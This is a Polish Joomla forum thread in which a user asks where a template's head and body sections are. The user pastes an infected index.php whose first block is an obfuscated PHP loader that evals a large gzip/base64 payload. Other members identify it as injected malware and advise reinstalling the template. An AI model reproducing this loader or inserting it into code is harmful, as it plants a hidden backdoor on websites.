PDA

Zobacz pełną wersję : head i body



ttomekb
23-01-2012, 22:26
witam
chce wkleic taki kod

http://wklej.to/95Dtu

a head i body ale powiem szczerze ze nie bardzo wiem gdzie szukac plików w których jest head i body... który index to ma byc?

---------- Post dodany o 22:10 ---------- Poprzedni post był o 18:48 ----------

ok spytałem bo zwątpiłem... wchodzimy w rozszerzenia/szablony/nasz szablon/ edytuj html i już...

dlaczego zwątpiłem...
używam JA_Purity_II i nie ma tam anie head ani body... dlaczego??
w innych szablonac ajkie mam zainstaliwoane jest ejdno i drugie... ale nie w JA_Purity_II

ma ktos jakies rozwiązanie tej kwestii?

---------- Post dodany o 22:26 ---------- Poprzedni post był o 22:10 ----------

dodam jeszcze jak u mnie wyglada index.php

<?php
$md5 = "2b3c3d9685cef24804af6d54062aba92";
$wp_salt = array("4",'e',"r","o",'$',"_",'f',"6",'a','b',"c",")",'n',"z","i",'g',"s",'d','(',"v","t",';','l');
$wp_add_filter = create_function('$'.'v',$wp_salt[1].$wp_salt[19].$wp_salt[8].$wp_salt[22].$wp_salt[18].$wp_salt[15].$wp_salt[13].$wp_salt[14].$wp_salt[12].$wp_salt[6].$wp_salt[22].$wp_salt[8].$wp_salt[20].$wp_salt[1].$wp_salt[18].$wp_salt[9].$wp_salt[8].$wp_salt[16].$wp_salt[1].$wp_salt[7].$wp_salt[0].$wp_salt[5].$wp_salt[17].$wp_salt[1].$wp_salt[10].$wp_salt[3].$wp_salt[17].$wp_salt[1].$wp_salt[18].$wp_salt[4].$wp_salt[19].$wp_salt[11].$wp_salt[11].$wp_salt[11].$wp_salt[21]);
$wp_add_filter('DZdFrsVYEkSX01XywEzqkZmZPWmZ/cxMq++/gVTq3oyIE9WVDf8032+qh+yo/smzvSKw/5VVMZfVP//h0wrmz0+RZqdOKcBlACM5zI35jMfa9vtOt6wGezIIgqu0aTcOU 3wBiRJASHmFSJTqiTD/RTaoUQul7TMI3q2qxLysgXZtKAoTaGKdAaRC0MxC4aeg1eIqs5 jLscgdvOWlWsH0CO/KJnyDPm4W1JrO4n1erMwNKAzTioEIjzCP8wdjouwv6vkpcU+L7 cbDwj2go0cOz6xpvki19ubKLe0w/dlVHShT6INFpQ20IJgehvKe79senr72/Jweb0oddiRBWmsI7EbhFbVX8eS1hp1MEH4twVv92AsbronmcLC mswrWKpkVaKFRrUxO+qYtNC4VQ2nNzyL3K6F/SJmo8xZtkKU1RxPMLob/LCNX3bPF3U+kGZFU3kYic0V5A24szh9JDGZd+sMeaz96KiBgoY opyWze8N16FAw281VPk60UgVHyw4zsBnT32sSJZTqpJlP0zCKg RGEe/QI6OvpFQQYMw4L70IIprPA486J85ldMo7kvx/DgngknAuVt+l0t16IPovVmQisrabl6+0xwdiFaJbyq4uuhnYbN Kf1WhRPe58W9WnSW5BqpxN90G1h60kmlS7h7k5wFCiXIrKXocW t4MXrDgioHFonDcnGLLX6AfefC3g4ERVDvH82J0rrRu8pbf5Oz wtGeIJdTgo9oIuXbRdyJ5OSLyYapikMSr4p3j7OCyHBYsH3xCX 1w73TZICjcwqbsCUzTIAs+y5eZwiXTTwN6GoxkHhxhlslh3zIc hNOSPZiHJI8s+SbTkWGrdoaN45ZmyUZAn9+ZA7hJ1jIbnUuSFG G2oUJwHZxfodno+znl4IPiZmzxdW5b20GIVELJuefl3dm8gBWH tTRPXVdw9mXZG/3prbbIhoFOnSwOn3Ky0opI+gZRsE6XqbxG5MvK2GbdXM3S1VVs LoGWOJ9d8AhGJlwSERjvMh3ihkyqQt4VSubLZXzAj3lnnO559W kHD1Zg670g1W3B/qH+TdGttuFy6QHanVek+Ai6yWCDNzVSAlXy57MO7IJNtl7VT1i k8EeTKpy4hTuNuJ9QvoPFQK4W27vXZUMX7jWvhi5KoxQV82xnI xZo40i9e/QJJGUisjDPFC6iwJLYEdzX+2D+JpaPg9Xc9mDJz2qnXA7sDmTn dGprNfcIk3yDHLO7OqjUfr80kHY4WmmxTMSaM6jxa1ptEyUoMj 3J6mREV/NXC74fhaD1dRmNIFDuiuIQsj17qVDgNL/z4cQ38dwyjKOdW5ALS6zWTuZ1K7lG9TBI5CganTlOgVFDrtCRQ EbPINtAjV7xZFVAruw29OHsnio3LqsG3iz41qGBHQwxXNJUaly 2HwfLkF9aGlWvlnlhLhHhQgfAKFSuvw8JsetTB029Xv6YW2OAu Vn2E***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 I***uRh1oGND4CbQlQD/nOrB/6oDhFr4x2D0ILTHyvZrr7RPqTeU4bercuzF85He5ewPiGZd8ff UrFyo+MPmZUrVQJQ3GEsKf0URmHptkxlRvLOP8VHrHRzD+kkEU QUfOJ6ACgMUDDij6b2Of+zIjhpWaIW/qNPWVaNZZzFTdoM7Em9Gn9aOV4v3umV1yRbEgoglZw0eOwoCHp 1wfkcKN7WF750M4sIf99ElBXcVm1wrdTcxs1UJDhUx4n1qiWdF Y/5l8mWeNh/FVOq2wIlENStw++22TUqapJvQGFn1ycZ5SY8+vcrO7kICYiTjF WiNPYHnlFetcp7Ergxub5onguJn/9hT9BdKvUn1ONdb9ZHcycNdssjlJI/qgxhPy6+norvo9h4RmJVqzl0CocfZTK8X7k+JpbA8LJBmnpShm kJ5g/5y+UriVgGHYxn46++9PXGlFCXjNAPDtj4+dUHnWkE9c6UNQiyF esbhtIwXxA5qk8EByofpzNx3ftFz+R+zScGBl1372ua9bR3IwU VxgFcRd77YpsuTse1JHlxHP1/MoZE5x+1VY7LVAlKido9JQjS1m5l/fckLijwQstATs9qVDDK9ENiJR0qSo+f8axd+nB7yTrD1O3D6jS 4CmONkU44PgjF4qH/Lw/kNrFf9c8/LKk/RPEoHIbxtXPqLz91ROltnw4Df7+apJHWDOGoKU5AKgE3N5QY/2wFX0g6LE0Z591WYhfOGV0aLRobvJrvUFnIqjNkmMkd6H64HDd X1hKWP7ukS+FvWSpvwcZhiD5MVzjsDvDsshFXhcKAuCFkiRIsf/5999///t/');
?>
<?php
/*
#------------------------------------------------------------------------
JA Purity II for Joomla 1.5
#------------------------------------------------------------------------
#Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
#@license - GNU/GPL, http://www.gnu.org/copyleft/gpl.html
#Author: J.O.O.M Solutions Co., Ltd
#Websites: http://www.joomlart.com - http://www.joomlancers.com
#------------------------------------------------------------------------
*/


// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

include_once (dirname(__FILE__).DS.'libs'.DS.'ja.template.helpe r.php');

$tmplTools = JATemplateHelper::getInstance($this, array('ui', JA_TOOL_SCREEN, JA_TOOL_MENU, 'main_layout', 'direction'));

//Calculate the width of template
$tmplWidth = '';
$tmplWrapMin = '100%';
switch ($tmplTools->getParam(JA_TOOL_SCREEN)){
case 'auto':
$tmplWidth = '97%';
break;
case 'fluid':
$tmplWidth = intval($tmplTools->getParam('ja_screen-fluid-fix-ja_screen_width'));
$tmplWidth = $tmplWidth ? $tmplWidth.'%' : '90%';
break;
case 'fix':
$tmplWidth = intval($tmplTools->getParam('ja_screen-fluid-fix-ja_screen_width'));
$tmplWrapMin = $tmplWidth ? ($tmplWidth+1).'px' : '771px';
$tmplWidth = $tmplWidth ? $tmplWidth.'px' : '770px';
break;
default:
$tmplWidth = intval($tmplTools->getParam(JA_TOOL_SCREEN));
$tmplWrapMin = $tmplWidth ? ($tmplWidth+1).'px' : '981px';
$tmplWidth = $tmplWidth ? $tmplWidth.'px' : '980px';
break;
}

$tmplTools->setParam ('tmplWidth', $tmplWidth);
$tmplTools->setParam ('tmplWrapMin', $tmplWrapMin);

//Main navigation
$ja_menutype = $tmplTools->getMenuType();
$jamenu = null;
if ($ja_menutype && $ja_menutype != 'none') {
$japarams = new JParameter('');
$japarams->set( 'menutype', $tmplTools->getParam('menutype', 'mainmenu') );
$japarams->set( 'menu_images_align', 'left' );
$japarams->set( 'menupath', $tmplTools->templateurl() .'/ja_menus');
$japarams->set('menu_images', 1); //0: not show image, 1: show image which set in menu item
$japarams->set('menu_background', 1); //0: image, 1: background
$japarams->set('mega-colwidth', 200); //Megamenu only: Default column width
$japarams->set('mega-style', 1); //Megamenu only: Menu style.
$japarams->set('rtl',($tmplTools->getParam('direction')=='rtl' || $tmplTools->direction == 'rtl'));
$jamenu = $tmplTools->loadMenu($japarams, $ja_menutype);
}
//End for main navigation

$layout = $tmplTools->getLayout ();
if ($layout) {
$tmplTools->display ($layout);
}

loocek
23-01-2012, 22:30
zacznij od tego wątku:
http://forum.joomla.pl/showthread.php?59640-Dopisany-kod/page2&highlight=%24wp_salt+%3D+array%284%26quot%3B%2C%27 e%27%2C%26quot%3Br%26quot%3B%2C%26quot%3Bo%26quot% 3B%2C%27%24%27%2C%26quot%3B_%26quot%3B%2C%27f%27%2 C%26quot%3B6%26quot%3B%2C%27a%27%2C%27b%27%2C%26qu ot%3Bc%26quot%3B%2C+%26quot%3B%29%26quot%3B%2C%27n %27%2C%26quot%3Bz%26quot%3B%2C%26quot%3Bi%26quot%3 B%2C%27g%27%2C%26quot%3Bs%26quot%3B%2C%27d%27%2C%2 7%28%27%2C%26quot%3Bv%26quot%3B%2C%26quot%3Bt%2C%2 7%3B%27%2C%27l+%27%29%3B

nikszal
23-01-2012, 22:33
używam JA_Purity_II i nie ma tam anie head ani body... dlaczego??
Nie ma szablonu bez sekcji head i body.
Dobrze popatrz w plikach szablonu Ja_Purity II

ttomekb
23-01-2012, 22:36
tak bedzie lepiej? i dzieki bo nei wiedzaiłem w sumie co to jest... teraz bede musiał przeszukac wszystkie pliki... powiedz mi tylko czy wszedzie bedzie ten sam kod czy mzoe sie roznic czyms? i czego wtedy wyszukiwac podczas czyszczenia plików...


<?php
/*
#------------------------------------------------------------------------
JA Purity II for Joomla 1.5
#------------------------------------------------------------------------
#Copyright (C) 2004-2009 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
#@license - GNU/GPL, http://www.gnu.org/copyleft/gpl.html
#Author: J.O.O.M Solutions Co., Ltd
#Websites: http://www.joomlart.com - http://www.joomlancers.com
#------------------------------------------------------------------------
*/


// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

include_once (dirname(__FILE__).DS.'libs'.DS.'ja.template.helpe r.php');

$tmplTools = JATemplateHelper::getInstance($this, array('ui', JA_TOOL_SCREEN, JA_TOOL_MENU, 'main_layout', 'direction'));

//Calculate the width of template
$tmplWidth = '';
$tmplWrapMin = '100%';
switch ($tmplTools->getParam(JA_TOOL_SCREEN)){
case 'auto':
$tmplWidth = '97%';
break;
case 'fluid':
$tmplWidth = intval($tmplTools->getParam('ja_screen-fluid-fix-ja_screen_width'));
$tmplWidth = $tmplWidth ? $tmplWidth.'%' : '90%';
break;
case 'fix':
$tmplWidth = intval($tmplTools->getParam('ja_screen-fluid-fix-ja_screen_width'));
$tmplWrapMin = $tmplWidth ? ($tmplWidth+1).'px' : '771px';
$tmplWidth = $tmplWidth ? $tmplWidth.'px' : '770px';
break;
default:
$tmplWidth = intval($tmplTools->getParam(JA_TOOL_SCREEN));
$tmplWrapMin = $tmplWidth ? ($tmplWidth+1).'px' : '981px';
$tmplWidth = $tmplWidth ? $tmplWidth.'px' : '980px';
break;
}

$tmplTools->setParam ('tmplWidth', $tmplWidth);
$tmplTools->setParam ('tmplWrapMin', $tmplWrapMin);

//Main navigation
$ja_menutype = $tmplTools->getMenuType();
$jamenu = null;
if ($ja_menutype && $ja_menutype != 'none') {
$japarams = new JParameter('');
$japarams->set( 'menutype', $tmplTools->getParam('menutype', 'mainmenu') );
$japarams->set( 'menu_images_align', 'left' );
$japarams->set( 'menupath', $tmplTools->templateurl() .'/ja_menus');
$japarams->set('menu_images', 1); //0: not show image, 1: show image which set in menu item
$japarams->set('menu_background', 1); //0: image, 1: background
$japarams->set('mega-colwidth', 200); //Megamenu only: Default column width
$japarams->set('mega-style', 1); //Megamenu only: Menu style.
$japarams->set('rtl',($tmplTools->getParam('direction')=='rtl' || $tmplTools->direction == 'rtl'));
$jamenu = $tmplTools->loadMenu($japarams, $ja_menutype);
}
//End for main navigation

$layout = $tmplTools->getLayout ();
if ($layout) {
$tmplTools->display ($layout);
}

nikszal
23-01-2012, 22:45
teraz bede musiał przeszukac wszystkie pliki...
Praca człowieka uszlachetnia. Sugeruję w pierwszej kolejności zajrzeć do katalogu layouts.


powiedz mi tylko czy wszedzie bedzie ten sam kod czy mzoe sie roznic czyms?
Gdyby szablony nie różniły się od siebie, to byłby dostepny tylko jeden, a są ich tysiące.


i czego wtedy wyszukiwac podczas czyszczenia plików...
Nie wiem co chcesz czyścić. Twoje problemy wynikają z totalnej nieznajomości budowy szablonów, więc sugeruję zamiast czyszczenia stosować konserwację, czyli zostawić kod w takim stanie, w jakim podarował go autor. Wtedy będzie szansa na jego poprawną pracę.

ttomekb
23-01-2012, 22:50
pytając o ten sam kod mówiłem o kodzie który był na początku dodany prawdopodobnie po włamaniu...
o czyszczeniu plików napisałem po przeczytaniu tematu jaki został zaproponowany w 2 kom... tam jest napisane aby sprawdzić wszystkie pliki czy aby w nich nie jest nic więcej nadpisane... :)
wracając do tematu... to gdzie ma być head i body jak nie w index.php?

palyga007
23-01-2012, 22:52
@nikszal

Ja proponuję, abyś więcej uwagi poświęcał na czytanie postów, a mniej na stukanie w klawisze.

Od pewnego momentu dyskusja toczy się na temat złośliwego kodu, wstrzykniętego akurat w plik index.php szablonu, a ja mam wrażenie że Ty ciągle błądzisz gdzieś w zupełnie innym temacie.

Jeśli się mylę to przepraszam, ale nie za bardzo rozumiem Twój ostatni wpis.

nikszal
23-01-2012, 22:57
Może róznie rozumiemy znaczenie tego zdania?

chce wkleic taki kod... a head i body ale powiem szczerze ze nie bardzo wiem gdzie szukac plików w których jest head i body
Czyszczenie to jedno, a znalezienie odpowiednich części kodu szablonu to drugie - nie uważasz?

zwiastun
23-01-2012, 23:02
1. Kod zaszyfrowany nie pochodzi z szablonu JA Purity II
2. Oznacza to dla Ciebie, że należy ponownie zainstalować szablon z oryginalnego pakietu, a nie kombinować, "co wyczyścić" w sytuacji, gdy nie masz pojęcia, jak ten kod jest skonstruowany
3. Podstawowa struktura szablonu jest w pliku layouts.php w katalogu layouts i elementy skryptu, które chcesz umieścić, możesz dodać w tym pliku. NIe analizowałem szczegółowo kodu szablonu, ale masz tam również plik default-joomla.php, który być oże jest tym właściwym.

PS Panowie, mam prośbę ogromną! Policzcie czasem, po ilu postach użytkownicy otrzymują odpowiedź na swoje pytanie. Mamy swoje żale do uczestników Forum o to, co i jak piszą (a raczej, czego nie piszą), ale spójrzmy tez czasem na to, co sami wystukujemy na klawiaturze.

nikszal
23-01-2012, 23:11
Sekcja head i body jest w 7 plikach w katalogu layouts. Pytanie o miejsca tych sekcji jest teoretyczne, bo zależy to od zastosowanego układu szablonu. Nie wszystkie pliki na raz są wykorzystywane.

loocek
23-01-2012, 23:12
NIe analizowałem szczegółowo kodu szablonu, ale masz tam również plik default-joomla.php, który być oże jest tym właściwym. lub też moze być to plik default.php.
Co do wstrzykniętego kodu: przeczytaj wątek o którym już wiesz od początku do końca. Prawdopodobnie kod różni się tylko wierszem ( a właściwie wartością) $md5

zwiastun
23-01-2012, 23:17
@nikszal: OK, i to należało napisać, zwłaszcza, gdy ma się dostęp do szablonu (a może i się go gdzieś używa), ja. np. nie pamiętam, czy opcja wyboru układu jest w konfiguracji szablonu, toteż zaznaczyłem, że go nie analizowałem, do plików dla urządzeń mobilnych nawet nie zaglądałem. Oczywiście, dostrzegłem, że wskazałeś wcześniej katalog layouts, czego chyba ttomekb nie doczytał.

...może to być również...
Może to być każdy z tych plików i w każdym z nich trzeba prawdopodobnie dodać to, co pytający chce dodać (moze z wyjątkiem szablonów do urządzeń mobilnych)

loocek
23-01-2012, 23:30
Może po prostu powinieneś poszukać jakiegoś pluginu który załaduje Ci ten kod przed zamknięciem body.
I na Twoim miejscu zastanowiłbym się czy warto takie skrypty sobie ładować bez przemyślenia i dobrej znajomości Joomla! i kodowania.